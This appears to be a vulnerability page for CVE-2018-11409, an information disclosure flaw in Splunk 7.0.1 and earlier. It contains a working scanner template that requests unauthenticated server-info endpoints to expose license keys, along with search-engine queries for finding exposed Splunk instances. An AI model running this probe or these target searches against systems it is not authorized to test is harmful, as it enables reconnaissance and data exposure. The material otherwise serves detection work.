CVE-2018-11409: Splunk <=7.0.1 - Information Disclosure

2025-08-01 Splunk PoC Public

Description

Splunk through 7.0.1 is susceptible to information disclosure by appending __raw/services/server/info/server-info?output_mode=json to a query, as demonstrated by discovering a license key.

PoC

id: CVE-2018-11409

info:
  name: Splunk <=7.0.1 - Information Disclosure
  author: harshbothra_
  severity: medium
  description: Splunk through 7.0.1 is susceptible to information disclosure by appending __raw/services/server/info/server-info?output_mode=json to a query, as demonstrated by discovering a license key.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Upgrade Splunk to a version higher than 7.0.1 to mitigate the vulnerability.
  reference:
    - https://github.com/kofa2002/splunk
    - https://www.exploit-db.com/exploits/44865/
    - http://web.archive.org/web/20211208114213/https://securitytracker.com/id/1041148
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11409
    - http://www.securitytracker.com/id/1041148
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2018-11409
    cwe-id: CWE-200
    epss-score: 0.98314
    epss-percentile: 0.99914
    cpe: cpe:2.3:a:splunk:splunk:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: splunk
    product: splunk
    shodan-query: http.title:"login - splunk"
    fofa-query: title="login - splunk"
    google-query: intitle:"login - splunk"
  tags: cve,cve2018,edb,splunk,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json'
      - '{{BaseURL}}/__raw/services/server/info/server-info?output_mode=json'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - licenseKeys

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210094428f3e2baab974ee0e64c9e849734ff57ed9323b732c7217a8e537756117080220091a24bd899a52ebac6151cf90e826bd3ae25f77aa2c1183788317ef5b047eea:922c64590222798bb761d5b6d8e72950

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